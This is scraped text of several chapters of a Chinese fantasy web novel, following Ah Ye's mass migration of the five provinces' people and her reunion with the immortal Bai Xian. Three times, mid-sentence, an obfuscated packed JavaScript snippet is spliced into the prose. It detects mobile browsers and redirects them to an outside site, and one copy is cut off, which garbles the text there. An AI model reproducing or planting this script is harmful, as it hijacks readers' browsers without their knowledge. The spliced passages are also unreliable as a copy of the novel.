海底近在眼前,鱼虾成群结队,在礁石间自由穿行,水茧拨开层层海藻,寻到了最深处的庞然大物—— 那是一只巨型的蚌,无边无际,被灰白色的脉络爬遍,结满圆润的晶球,正被那些鱼虾啃噬,或者应该说,这片海底的生灵,都活在这只蚌的身上。 “好久不见了。”阿也以爱怜的目光抚过那只蚌,轻声道,“老朋友。” 话音落下,一物钻出衣襟,发出蒙蒙光亮,正是那颗鎏金海扇贝珠,流光溢彩,璀璨如星。 受其召唤,水流疾速汇聚。漩涡之中,一道虚影走了出来,对阿也行礼,身后的蚌缓缓裂开一道缝隙,仿佛一个久别重逢的微笑。 迈进去之前,阿也俯身,额头抵着蚌壳,质感粗砺,像是抵着半风化的骸骨。 “等我回来。”她轻声许诺。 视线一花,又恢复清晰。阿也站在祭坛之上,迎接她的是漫天飞扬的红沙,淅淅沥沥,仿佛一场下了两百年的血雨。 “……大人。”巫蕴看清她的装束,立刻意会,向一旁的华重楼引荐,“这位大人是魔君派来的使者,为五州迁徙一事而来。” 还算有眼色。阿也心想,目光落在华重楼身上,古井不波。 岂料华重楼掀开衣摆,径直跪下,长拜不起,恭敬道:“大人。” 这突然的一遭吓得凌栾跳起来,好在被席子瑞及时按住。二人交换眼神,异口同声道:“大人。” 她们成礼了么?阿也正要问,忽然想起此时的身份,抿唇,淡淡道:“过来接人。” 见华重楼无动于衷,席子瑞卷起衣袖欲上前,被凌栾一把推开,“我来。”她谨小慎微地一步步靠近,接过华烨时更是轻手轻脚,生怕弄折了衣料。 凌栾小心翼翼地瞥一眼阿也,面露纠结,最终还是开了口:“大人,请问我师妹是怎么了?” “华……你师妹天生魂体虚弱,正在炼化那些修魂补魄的天材地宝。”阿也一顿,道,“等到了时候,她自会醒来。” “多谢大人。”凌栾感激道,深深颔首,将华烨紧紧护在怀中,目光怜惜。 “巫蕴,带她们走。”阿也转过身,不再去看。 “是。” “宗主,宗主?我们该回去了。”阿也听见席子瑞小声的劝告,随后是一阵衣物拉扯的窸窣声,脚步声结伴远去。 都走了才好,离她越远越安全,阿也心想,抬起头,望着面前的青晶柱。 如巫蕴所言,柱身记载着剑仙在山林隐居的故事。视线由下至上滑过,像是自扉页起始,匆匆翻完一册薄薄话本,最后落在浓墨重彩的天哭之象上。 抬手摸过凹槽旁的一行小字,“莫失莫忘,仙寿恒昌。”的确在生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15356667|166238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辰那一天,她获得了永恒的寿命。 撤开手时无意划过莫名的凸起,阿也一顿,顺势向后,摸到一堆潦草的笔画,像是有人偷偷摸摸刻下的,便绕到柱身后,凑近了,辨认出那一副简笔画。 两个小人并肩而立,左边的挎着篮子,右边的扎着高高的马尾,而中间的小人被左右两个牵着,露出大大的笑脸—— 就像是一家人。 “好久不见。”阿也无声笑笑,气流滚过舌尖,苦涩难言。 白雾稀薄,湖水荡起连绵涟漪,层层拥上岸边,水草逐流摇曳。摈除黑气的侵染后,镜湖又回归至原本的模样。 波浪漫过水茧,被彻底吞没的刹那,身体一轻,又陡然落地。 岩洞依旧昏暗,正中供奉着一尊灰白石碑,但文字不再晦涩,于是逐字看过,记载着一位仙族祭司的过往功绩,譬如杀过哪些凶兽,为哪些城池解困,挽救的生灵不计其数,深受爱戴,故以君王规格葬于此处。 尽管那些凶兽是被人蛊惑,而存活的城池也再度覆灭。那些沐浴血泪的所作所为,都化作阴谋诡计里的一场空。 目光落在碑文的最后,那里刻着一个名字,无姓亦无氏,而是简简单单的两个字—— 尽欢。 明明已经很久不曾用过这个名字,也不曾听人提起过,但指腹抚过熟悉的一笔一画时,心头仍旧隐隐作痛。 原来她曾有过名字,是父母亲自取下,寄于希望与期盼的名字,而并非她原以为的孤魂野鬼一个。 移开视线,阿也环顾岩洞四面,这里……其实是她的陵墓。 海浪褪至脚踝,露出遍地白骨,密集地堆叠在一处,混着兵器或鳞甲的残片,分不清是人是兽。 俯身抱起一副蜷缩的瘦小尸骸。叮咚一声,一点金落下来,阿也循声看去,三叶七瓣的刻纹反射出灼灼日光,棱角被暗流磨平。 那是尽欢做出的选择。 收殓好那副尸骸,阿也拾起那枚尾戒,重新戴上左手小指——而她有她自己的选择。 “不是说好有使者,怎么还不来?” 云欢小声嘀咕着,被云绮瞪了一眼,立刻向云弈投去求助的目光。 “欢儿,慎言。”云弈维持颔首的姿势,嘴唇微动,“四域深不可测,而魔族更甚,切忌落下口实。” 想起阴山那一遭,云欢肃正神色,深深地低下头,“是。” 风拂梢而过,长叶抖擞,沙沙作响。云欢忽而闻到淡淡的气息,并非特殊的味道,更说不上馨香或恶臭,像是雨夜里的一阵风,但压迫感极强,下意识让人绷紧身体。 “云间派恭候大人。”云弈顺势开口,领起一片整齐的应和声。 半晌,无人回应。 好没教养。云欢偷偷抬起眼,视线越过深深浅浅的一片绿,投向独自站在树冠之巅的黑影。 所谓使者,是名身形高挑的女子,以银面覆脸,黑袍加身,与巫蕴衣着并无差别,算不上卓著,但那双眼扫视而来,波澜不惊,看久了方觉其中暗流汹涌,像极了夜中的无妄海,危机四伏。 这是……使者?云欢想,简直像位君王。 61. 金蝉脱壳 “关于五州迁入四域一事,还请大人入内详谈。”领路至月宫门前,云弈使了个眼色屏退众人。 使者微微颔首,率先迈步进殿,步伐从容而轻快,仿佛世上无可阻挡之物,即便有,也会被一脚碾碎。 这使者……云欢心念一动,趁云绮没反应过来,快步跟了进去。 无奈地瞥一眼低眉下首的云欢,云弈肃正神色,娓娓道来。 “大人有所不知,近年来,五州元气逐年稀薄,而瘴气愈发猖獗,数月前更是大乱一场,好在被一位小友及时镇压,尚未造成严重伤亡。” “虽有例在先,但关于迁入四域一事,各宗各派各执己见。我云间派师祖出身四域,自然归属大人一边。” “有人却道五州与四域分隔多年,若仅凭一己之言贸然合并,恐沦为马前卒,对不住多年来的苦心经营,这担忧也并非没有道理。” “敢问大人,”云弈沉声道,“倘若五州迁入四域……该如何自处?” 是个聪明人,阿也心想,话不说绝,方方面面皆有考虑,不过…… 气氛逐渐凝重,几乎快要拧出水来。 主座上的使者忽然笑了,仿佛品尝着云弈的坚毅,慢条斯理道:“有你,自然不会亏待五州。” 这人不笑则已,笑起来给人的压迫感更盛十来个巫蕴。云弈藏起手心冷汗,抱拳道,“还请大人明示。” “五州将自成一族。”使者掷地有声,话锋一转,轻飘飘道,“你们既已早做决定,又何必试探?” 她来时便看见了,青兰树干上那些密密麻麻的树瘤,表皮是泛着水色的嫩绿,显然才被催生出来不久。 正如祁隐所言,五州与四域共存亡,除此之外,别无选择。至于云弈这番话,大概是为了讨颗定心丸,安抚下边的人罢了。 云弈眉眼一动,很快掩下,“大人洞察秋毫。” “此前听从巫大人之言,与承州商会缔结联盟,已提前备好物资,由我派分发值守,同时规划好了各州百姓迁往黎丘的路线图,约定由华宗、穹苍一脉等门派轮流护送。” 余光瞥见桌上一碟粉嫩花糕,阿也心念一动,径直拈起一块,送入口中。 看样子使者很信任她们。云弈与云绮对视一眼,皆是松了口气,忽听得身后有人发问,“好吃吗?” 见人动作一顿,云弈忙道:“我这师妹自小混惯了,是担心这糕不合大人口味,这才出言询问,失了礼节,大人莫怪。” 足有片刻,没有任何回应。就在云弈以为要借此发难之际,使者点点头,温声道:“好吃。” 说罢,转头又拿起一块。 “谢大人宽怀。”云弈舒了口气,迟疑道,“不知何时……” “后日。”使者忽地起身,“带我去见见……你们师祖。” 三人面面相觑,云弈率先反应过来,“大人,请随我来。”迎使者出门后,暗地里对云绮比出手势。 云绮会意,赶忙拉住云欢,见二人走远了,急道:“你刚才不要命了?话岂能乱说!死都不知道怎么死的!” 被这态度吓到,云欢这才意识到自己在鬼门关走了一遭,弱声道,“我,我就是觉得……” “觉得什么?”云绮竖起长眉。 嗫嚅半天,云欢仍说不出话,脑海里却不由浮现出使者看向自己时似曾相识的眼神,片刻后,还是忍不住回答:“觉得……很熟悉。” “什么?” “我好像……见过她。”云欢皱起眉头,喃喃自语,“到底在哪儿见过呢?” 越过星月二宫,继续向内,走进最深处。云弈轻车熟路地绕过层层枝叶,带人来到一座小院外。 “这儿便是师祖所居。”云弈正要推门,忽听身后道,“请让我独自在这儿,待一会儿吧。” 语气是难得的温和,甚至称得上彬彬有礼。云弈迟疑一瞬,不由心想,难道这使者见过师祖?于是颔首道:“是。” 寂静重回深夜。阿也揭下银面,勾在指尖,推开门,沿着青石小道,一路穿过呼啸的风声,走进了记忆。 脚步停在也桃树下的那块墓碑前,檐角的白灯笼被摇来晃去,不曾停歇。 一笔一画摩挲碑上的刻字,阿也轻声道:“好久不见了。” 的确是好久不见了。阿也想着,挨着石碑坐下,像是往日那样背靠背对坐,追忆完数月前那个一无所知的雨夜,又突兀地想起云欢那句“好吃吗?” 有一瞬间,还以为云欢认出了她,差点没藏住,好在云弈及时解围。 想起云绮丢给云欢那个恨铁不成钢的眼神,阿也忍不住一笑,又忽而沉默,顺手摘了朵野花,一片片揪下花瓣,在心中默数。 坦白,不坦白,坦白…… 很快,指尖一顿,只剩最后一片,摇摇欲坠。阿也想,坦白了又能怎么样? 没有别的路可选。 至始至终摆在她脚下的,只有一条路。 这条路连接被遗忘的过去和混沌的现在,最终通向已知的未来。就算说出口,也无法改变结局,不过是平添伤感罢了。 “算了。”阿也自言自语,轻轻放下那朵可怜的花,仰头观赏漫天星光,是千万年不变的三垣二十八宿图,给人的感觉却很陌生,一如她看待如今的自己。 与华烨共生的这些时日,她学会了很多,比如如何揣摩人心,站在局外,方能看穿每步棋子的用意,但同时也沾染不少陋习,譬如隐瞒,欺骗……和逃避。 “大人。” 突如其来的一声打断思绪,阿也带上银面,藏起瞳色,“请进。” 伴着清甜的香气,白衣翩然而至,一如初见。云漪双手奉上木盒,恭敬道,“听闻我做的也桃糕符合大人口味,特意又送来一些,希望大人喜欢。” 到底还是吃上了。阿也低低笑了一声,接过木盒,目送云漪走远,就着熟悉的味道,听长叶在风中欢笑。 一夜无眠。 破晓的第一缕阳光洒在楼前两株也桃上,色彩娇嫩,春意盎然。 呼吸声隔着层层阻碍,从另一端传来,沉稳而安定。阿也驻足片刻,最终隐匿身形,走下台阶,站在指路碑处,目视弟子们三两结对,从身旁跑过,脚步匆忙。 “快快快,明日就要启程了!” “你去通知各堂做好准备,报上随行弟子的名单!” “余长老不见了!”有人惊叫一声。 “怎么在这个时候……那药堂其他人呢?快,快去找席师兄!” 还是和以前一样不靠谱。阿也无奈摇头,一缕神力脱体,分裂成千万根丝线,迅速下潜,贴地蜿蜒,很快捎来余寰的气息。 沿着熟悉的山路七拐八弯,穿过丛林时,脚步一顿。 “早跟你说过了,你那些都是旁门左道,末流丹方,哪比得上我这正经医书,你还非不信……” 众弟子心心念念要找的人正盘坐在地,面对芳芪的衣冠冢拨弄一尊陶炉,絮叨个不停。 线装医书叫他翻得哗啦作响,让人疑心根本看不进去,嘴里像放炮仗似的,“还什么天然养生之道,但凡浸淫医道多年,都知道君臣佐使,药材须得炮制……” 余寰蓦地一顿,像是终于意识到不会再有人呛声,于是沉默着煎好药,又慢慢看着滚烫的药汁变冷。 最后他哼笑一声:“罢了罢了,让你一回。”一贯傲然的语气,但神色忽然落寞。 “说好要治一辈子的,怎么这么早,就走了呢……” 阿也轻轻离开,不曾惊扰。 走到半路,没成想遇到凌栾,下意识想避开,却听她口中念念有词,少见的手足无措,阿也想了想,跟了上去。 街道人来人往,热闹非凡。 幼童眼巴巴望着笼屉里的包子,馋得直流口水;年轻的店小二站在门口,大声吆喝揽客;卖艺老叟坐在路口拉二胡,有行人走过,丢下一枚铜子,砸进破碗,清脆的一声响。 凌栾走到一家铺子前,神情犹豫。隔着薄薄木门,传来咚咚的敲击声,像是在以重器捶打什么。 好半天,敲击声停下。凌栾抿唇,叩响了门。 “谁?”警觉而有力的一声。 “是我。”凌栾低声道,“师父。” 三息之后,门开了,石磊手提重锤,满头是汗,但身后火光喷吐,照亮了墙上一排长弓。 “进来吧。”石磊低声说。 门被欣然合上,阿也转身离去,她已猜到凌栾的来意,自然也猜到石磊的回答。 待到晨曦再度洒落,阿也立于树冠之巅,纵观人山人海。树荫笼罩着数万户百姓,更多人在各大门派的护送下,正源源不断涌向这里,像是江河湖泊汇聚成海。 “大人,第一批百姓已准备就绪。”云弈颔首道。 阿也点点头,临空踏出一步。 随着这一步落下,天光骤暗,风云止息。阿也向空中那轮高悬的日伸出手,而太阳居然真的如她所愿,寸寸降下,褪去所有光和热,化作一只三足金乌,慢慢缩小了,乖巧停在她指尖。 天地寂寂,随后被一个清脆的响指打破。 “哗啦啦——” 青兰无风自动,抖落簌簌长叶,飞向那些百姓,如同一场细密的叶雨。光秃秃的树冠之中,三叶七瓣的白花朵朵盛放,金黄的蕊心散出淡雅清香,抚平不安与焦躁。 主干的树瘤一一开裂,长叶载着百姓飞入其中,像是燕儿还巢。 不到一柱香时间,数万户百姓已尽数迁入树瘤之中,长叶浮在半空中,静静等待下一轮河流交汇。 云欢被这场面震撼得说不出话,只能死死捉住云绮衣袖,其他人亦是如此,默默行动着,像一粒粒颜色各异的棋子,按照既定的计划落在棋盘上。 就在第三轮运送将尽之时,天际忽然降下莹莹绿光,更多的树瘤钻出主干,带着新生的嫩绿表皮。 风流云散,两道身影缓缓显现,一人恭敬行礼,而另一人却昂首道:“我来助您。” 不是华谏还能是谁。 “魔君拗不过,故遣我来接应世子。”巫蕴解释道。 阿也眨了下眼,不难想象出殷珅被这愣头青烦得不行又不能出手教训的样子。 华谏却引以为傲,“我本出身五州,自当竭尽全力。” “自然。”阿也略退一步,让出地来。 华谏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15364174|166238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不客气地上前,双手献上一株七宝妙树,虽较从前长大许多,但与灵族领地那株顶天立地的相比,仍是瘦小的。 “去。” 他轻叱一声,玉叶脱离树梢,围绕青兰的主干飞旋,受其感召,枝头长出更多长叶,微微震颤,似是欢喜轻吟。 有了宝树相助,赶在亥时之前,终于完成所有百姓的运迁。得了一个时辰的空闲,各大门派围绕篝火而坐,借着微弱的月光啃食干粮,补充体力。 谢绝云弈和凌栾的邀请,阿也独坐枝头,望着那弯弦月发呆。金乌倚在她的肩头,闭目养神,经过多年修养,终于恢复如初,等待着复仇时刻。 远远地,众人的交谈声被风送上来,擦着耳边而过,她好像想了很多,又好像什么也没想。 深夜里,唯一丈量时间的只有逐渐加深的凉意。 “大,大人。” 熟悉的声音令阿也回头,对上那双眼,有一瞬间的恍惚,但很快清醒过来,“何事?” “我听说师姐提起,您为华烨修魂补魄耗费了许多天材地宝,我,我来此是想请教大人,您有没有……”云欢鼓足勇气,直视她的目光,“有没有在华烨身上见到过其他的魂体?” 阿也一怔,意识到云欢比自己想象得更加聪明,云间派师祖曾跟随的大能,决计不会是年仅十六的华烨,只可能是某个寄居在身上的魂体。 “是这样的,我有个好朋友,可能是偶然附在华烨身上了,不,这是我猜的,也可能根本没有这一回事,但是她,她对我来很重要,虽然我们之前吵过架……” 很快,云欢惊觉自己在胡言乱语,立即抿唇克制,顿了片刻,满脸希冀道,“不知……您有没有见过她?” “见过。” 于是那双形状姣好的桃花眼惊喜地睁大了,露出藏在眼底的碎星,亮晶晶的。 “那真是太好了!”云欢舒出一口气,笑了起来,“我一直很担心……” “她死了。”阿也轻声说。 “砰!” 比云欢反应更快的是身后的一声响,像有什么东西重重摔倒,碎了一地。 阿也回头,见华谏跌坐在地,表情仓皇,窄扇孤零零地躺在手心,像一只折翼的鸟。 最后,阿也忘记了自己是如何走出二人包围圈的,只记得云欢匆匆扶起华谏,连站都站不稳了,还不忘道谢,“多,多谢大人。” 听起来,她好像哭了。 子时,将所有门派弟子送入树瘤之中,天地间唯她一人。阿也飞身升空,轻轻揭开月色一角,低声道,“我回来了。” 涛声滚滚而来,仿佛某种回应。 浓稠的夜色淡去了,天幕逐渐灰白,露出真实的本质——一层粗糙、坚韧的蚌壳。 阿也抚过那些凸起的纹路,像是回到某个盛夏的午后,她们在浓荫里围坐,看蚁群搬动也桃糕的碎屑,打赌谁先回到树根底下的家。 略微用力,锋利处割破指腹,血渗出来,涂上手心的贝珠,爆发出湛蓝光彩,先是蒙蒙虚影,后逐渐凝实,露出一身染血的玉色长衫。 早知那天,该让他吃一块也桃糕再走。阿也没来由地想。 “大人。”重逢的第一面,戚晓率先请罪,“是我守护不力,害流潦之森被海底凶兽冲撞而分裂。” 半晌,他听阿也道,“辛苦。” 戚晓一愣,觉得似乎有什么不一样了,但正事要紧,不再细想,转而听从她的指示张开外壳,注视着漆黑的海水盖头拍下,被火焰结界荡然扫空。 雾气蒸腾,实在是窥探的好时机。戚晓蠢蠢欲动,好不容易下定决心,刚抬起头,正对上那双显露本色的眼瞳,一时间竟忘了呼吸。 原来那赤红妖冶而凛然,美则美矣,却如剑锋寒芒,不可久视,而如今总噙着一点笑意,但越往里去,越是幽深—— 叫人弥足深陷。 戚晓愣愣地抬起手,给了自己一巴掌,待清醒过后,对不解的阿也抱拳道:“多年昏睡,一时不清醒,怕误了要事。” 结界之外,透明的火焰层层绽放,将余留的晶球悉数炼化,乘着浓郁的元气节节拔高,像一支跃出淤泥的莲花,状若琉璃。 结界之内,阿也并拢十指,随意点拨,于是五州在风浪的巨力下缓慢漂移,海岸线严丝合缝,逐渐完整。 “哗啦啦——” 浪花翻涌,蛰伏在海底的巨兽终于探出头来,审视这个真实的、日异月殊的世界,大摇大摆地回归自己原本的巢穴。 时隔多年,四域中心的空缺,终于被补上了。 “锵——” 在金乌不甘的鸣叫声里,阿也默默俯瞰那朵怒放的火莲,仿佛能透过结界和树瘤坚实的表皮,看见内里那一双双期盼的眼睛。 两百年前,她只是恪守职责完成使命,不曾对这片土地上过心,最后因担忧云娘无处可去,才选择将其沉没。 而如今她已然生活过,体验过家人,体验过朋友,体验许多从前不曾拥有过的东西,尽管有些并非出自真心,但仍然不想失去。 所以这一次,她选择回来,为她的子民而战。 就像真正的君王那样,至死方休。 62. 相约 “不愧是我的血脉!” 伴随一阵热烈掌声,应龙冲开乌云,双角被殷珅和祁隐分据,龙身载着数百银甲卫和众多青衣使者,密密麻麻,不下千人。 盘旋过后,应龙小心地停在火莲一丈开外,殷珅率先跳下,绕着琉璃火莲啧啧称奇,“原来魔火进化后是这样。”他挑眉道,“瞧着不如我的好看。” 阿也瞥他一眼,看向祁隐。 “世子听说后实在坐不住,老夫想着他能帮上忙,便随他去了。”祁隐歉然道。 两个人似乎都不太靠得住。阿也默了半晌,决定先探查周围气息,再视情况解开火焰结界,以防被偷袭。 “不必查了。”殷珅忽然道,“我们来的时候,见到他了。” “在哪?”阿也抬起眼,杀意迸显。 “他一个人来的。”殷珅一顿,看向祁隐,确定不是自己的错觉后方继续道,“见到我们,交代了句话就走了。” “他约你明日寅时在老地方见。”祁隐补充道。 老地方?阿也问,“就这些?” 祁隐和殷珅对视一眼,默契地保持沉默,其实还有一句,但却不敢再说。 彼时,殷珅仗着人数占优,指着对面的鼻子骂道,“你说让她去就去?凭什么?你是个什么东西……” 噼里啪啦被砸了一箩筐话,那人依旧面带微笑,等到殷珅说累了,这才开口,温声道:“她会去的。” 见二人神色有异,阿也隐约猜到一些,沉吟片刻,望了眼天色,见时候还早,便拿出贝珠,“你留在此处,守着它。” 光华之中,人影犹犹豫豫显出形来。戚晓接过金乌,一味盯着脚尖,不敢看人,“是,大人。” 见状,殷珅对祁隐使了个眼色,默默挺起胸膛,很是骄傲。 祁隐无视他,转向阿也,微微颔首,“你放心去罢,其余的,交给我。” 阿也点点头,“多谢。”说罢转身,向着仙族的方向而去。 “你看……”殷珅左瞧瞧,右看看,做贼似的找上祁隐,笑眯眯道,“老友……” “想去就去。”祁隐头也不抬道,将拟定好的计划分派下去,身后一道紫火窜上天,隐入乌云之中。 火焰结界随风散去,露出完整的五州,与如今萧条的四域相比,堪称繁荣。 “这就是四域?”凌栾迈出树瘤,面色凝重,“竟是如此……” 眺望这片破碎的大地,云弈目光闪动着,长叹道,“又是一场腥风血雨啊。” 银甲卫和青衣使者们很快与五州门派达成共识,迅速划分好区域,开始接应树瘤之中的百姓。 从某种意义上来说,四族与五州的百姓并无不同。往上追溯,曾同出一源,但随着时代更迭,血脉逐渐稀薄,大多数人沦为平庸,成不了左右战局的定心丸,但自始至终,都是天秤上最重要的砝码。 “哗啦啦——” 被催生的树瘤逐个枯萎,长叶有序地在空中穿行。百姓们得见全新天地,或忧或喜,亦有惊惧,而不远处,青兰的花里,自成一片哀寂。 “她死了?”华谏愣愣地看向云欢,那句话始终在脑海里挥之不去。 “我不信。”云欢吸了吸鼻子,“她那么厉害,怎么可能就这么……” 忽然想起什么,华谏猛地起身,“等等!”一个闪身,不见踪影。 “你去哪!” 好不容易闯出密集的人群,云欢终于瞧见华谏,一个晃神,见他又消失在拐角,急得直跺脚,赶紧追上去。 “你休想进去。” 凌栾拦在门前,神色戒备,冷声道,“深更夜半,你擅闯师妹闺房,无论如何,都没有道理。” “你……”华谏握紧五指,扇骨被捏得咯吱作响,“我并无歹意……” “只是坐在屏风那边同她说说话?”凌栾以他的话回敬,讥诮道,“真当我傻?” “师姐!” 这一声打破僵局,云欢气喘吁吁地冲上来,横在二人之间,“我同他一起进去,我保证,不,我发誓!我们,我们只是想看看小烨!” 凌栾深深地看了云欢一眼,挪开半步,沉声道,“一刻钟。” 与华谏交换过眼神,显然时间足够,云欢当即颔首,“多谢师姐!” 才开门,云欢被华谏抢先挤入,注意到凌栾奇怪的目光,当即关门,怒而传音:“你闹出这么大的动静,是想让师姐也知道吗!” “捕形印!”华谏丢下答案,匆匆往里去。 距离越来越近,他的手不自主地颤抖起来,愈发厉害,才触及垂落的帏帐,像被烫到般猛地缩回。 好一会儿,华谏咬咬牙,揭开那层屏障,见到那张安恬的面容,怔在原地。 那模样,分明与平日里毫无差别,像是下一瞬间就会睁开眼,先露出一抹狡黠的笑意,再藏进温吞的乖巧里。 “小烨……”云欢红了眼眶,握住她的手,是温热的,不禁松了口气,见华谏召唤出命格,心又悬起。 绿丝沐浴辉光而茁壮成长,编织成印,再抽出一丝,小心探入华烨眉心—— 从另一端传来的,既非孱弱,也不是庞然大物,而是空荡荡的,什么也没有。 “怎么样?”云欢打破这犹如实质的死寂,方得以喘息。 回答她的是华谏无力垂落的手。他转向云欢,试图挤出宽慰的笑来,但眉毛不受控制地打了结,便又瞪大眼睛,可徒劳无功地,眼泪涌出来,滑过腮边,滴在被褥上,渐次晕开。 “不,不会的。”云欢喃喃自语,伏在榻上,指节攥得发白,手背青筋暴起,努力克制住自己,“肯定是你弄错了,她那么厉害……” “一刻钟到了。” 忽然间,凌栾的声音从背后传来,语气平静,像是早有预料,“你们要找的,其实不是华烨,对吧?” “这里真的有人住?” 殷珅环顾四周,拨开过膝的杂草,才能见到一角石砖,被岁月蚀刻得坑坑洼洼,偶有几道裂缝,被填补过白泥,已然发黄变黑,但仍是有人生活过的痕迹。 的确有人曾住在这里,在很多年以前。 “你跟来干什么?”阿也盯着他。 “他又没说只能你一个人来。”殷珅自知理亏,尴尬地摸了摸鼻子,“再说,来都来了,逛一逛再走,也不枉来这趟。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15368640|166238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 草木寄生假山,撑出蛛网似的裂痕。荷塘见底,伶仃枯枝探出淤泥,亭柱腐朽,穹顶破了洞,瓦砾摇摇欲坠。 阿也视而不见,继续向前走,好似展现在她眼前的仍是依皴合山,荷塘观亭。 迈上石桥的刹那,像是重回不知名的梦中。 “好甜的莲子!” “好啊,你又偷吃!这是剥来给大人熬羹用的!” “哪有,我这是提前帮姐姐试试味道——” 欢笑声在耳边萦绕,青衣和红衣在观亭中嬉闹,仿佛两只自由自在的飞鸟振翅鸣叫,慢慢地,就飞远了。 “你原来就住在这里?”殷珅轻哼一声,“看来那小子对你不怎么样,要是当时能来我麾下,指不定这魔君之位,得轮到你来坐。” 阿也回过神来,默然不语。 殷珅在提点她,那人待她如兵器,谈不上真心,不过她来这里,也并非为了和解,而是想弄清楚当年的交易是什么,以及自己离开仙族的原因。 阿也有种预感,今日的见面或许会助她寻回所有记忆。 不知过了多久,拂晓时分,一声清脆的鸟鸣打破寂静,旧日行宫的轮廓在熹微晨光中若隐若现。 “那是你住的地方?”殷珅望向不远处,檐角高高飞起,似乎要跃出宫墙,边沿错金镶玉,雅致贵气。 见阿也点头,殷珅双手环抱胸口,勉强道,“这还差不多。” 就在二人接近行宫正门之时,有清朗笑声响起,如银珠落盘,“还请魔君留步。” 殷珅四处张望一阵,不见人影,对上阿也视线,轻咳一声,不情不愿地后退数丈,“罢了,我就站这儿等你。” 明明是担心她,非得做出这副样子来。阿也无奈摇头,上前两步,闻到醇厚的木香。 行宫正门由金丝楠木打造,无一丝拼接痕迹,至少是百年以上的树龄。清漆如水,门内金丝清晰可见,有如山峰耸立,有如连绵涟漪,荡漾开来,波光粼粼。 怕是这一扇门,就能抵魔族一座偏殿。阿也心道,循着礼节握住沉重的青铜锁环,轻轻叩响。 “请进。” 门应声而开,不等看清,阿也被一阵风推进去,再一眨眼,周遭场景变换,仿佛落入大师所绘的工笔画中。 与外头的破败截然不同,宫内处处开满鲜花,叫得出名字的,叫不出名字,团团簇拥,四季不分,争奇斗艳,但其中最为夺目的,当属凉亭前那株繁盛的也桃,花色如瀑,艳压群芳。 华盖之下,那人欣然回眸。 一袭白衣飘然,清辉落进他漆黑的眼瞳,灿若星辰,远胜那一树单薄的春意。 温润如玉,郎艳独绝。 不知殷珅对这副皮囊如何评价。阿也忽然想,又难免失笑,总归不会是什么好话。 “更喜欢这副皮相么?”那人笑道,仿佛什么也没发生过似的,眉眼弯弯,一如既往。 霎那间,过往种种在眼前一闪而过,飘红的水茧,远去的琵琶声,被火把环绕的镜湖,漫天飞舞的箭矢,林中惨烈的战场—— 但最后,她只是平静地叫出他的名字。 “好久不见,白闲。” 63. 落灯花 二人在凉亭对坐。 “不知仙君找我,有何贵干。”阿也压下心头杀意,客气道。 “多年未见,来看看你。”白闲含笑道,“说说话。” “什么?”阿也以为自己听错了。 “不必紧张。”白闲取出一枚尾戒,随意搁在石桌上,挽袖替她斟茶,碧绿清液注入梅纹银杯,清香四溢。“时候还长,慢慢说罢。” 阿也盯着那枚尾戒,熟悉的乌金材质,但戒面雕刻的并非青兰,而是更加精巧的金丝剑纹。她下意识摸过小指,模糊的记忆中,自己好像也有这样一枚。 “这是我娘留给我的。”白闲注意到她的视线,露出自己小指上一模一样的尾戒,“世上仅此一对。” 送往唇边的银杯一顿,阿也抬起眼,“仙君这是何意?” “忘了也无妨,我细细讲给你听。”白闲摩挲杯身的鹿纹,似是不知从何讲起,沉吟良久,方道:“我们自小一起长大,是青梅竹马。” 阿也陡然睁大了眼,并非只为这一句—— 她的手被人牵住了。 与无尽神力强撑起来的躯壳不同,白闲拥有她的神心,因而手是温暖的,带着不可企及的热意。 “有很多的话想同你说,又怕你疑心,思来想去,不如一起看罢。”白闲用力握住她的手。 挣脱不得,阿也冷笑,“凭什么?” “我一直看着你。”白闲温柔地注视她,另一只手抚上心口,轻声道,“感受你所感受到的,体会你所体会到的,与我同等的痛苦。” 这冠冕堂皇的语气令阿也嗤笑,“然后呢?” 白闲似乎并不意外她的态度,话锋一转,低声道,“那你娘呢?” 阿也动作一顿。 “你不想……看看她吗?” 迟疑的瞬间,雾气如潮水般从四周涌来,逐渐浓郁,遮蔽了周遭一切,犹如实质,仿佛汹涌的暗流。 连串、大片的气泡浮起,闪烁着莹莹微光,内里折射出缤纷色彩—— 从襁褓里的婴儿到牙牙学语的孩童,再到仗剑而立的少年,从头到尾,却并非白闲自己,而是另一个人的身影。 察觉指缝被迫分开,阿也猛地回头,却见白闲面露痛色,一个愣神,指节被人扣紧了。 十指紧扣。 似是深陷恶魇,他声声呢喃,“阿欢……” “你……” 话音未落,气泡骤然破裂,莹光游入识海之中,回忆纷至沓来。 “你听说了吗?仙主从边陲带回来了一个孩子,听说是仙君流落在外的骨肉。” “真的假的?那殿下他……” 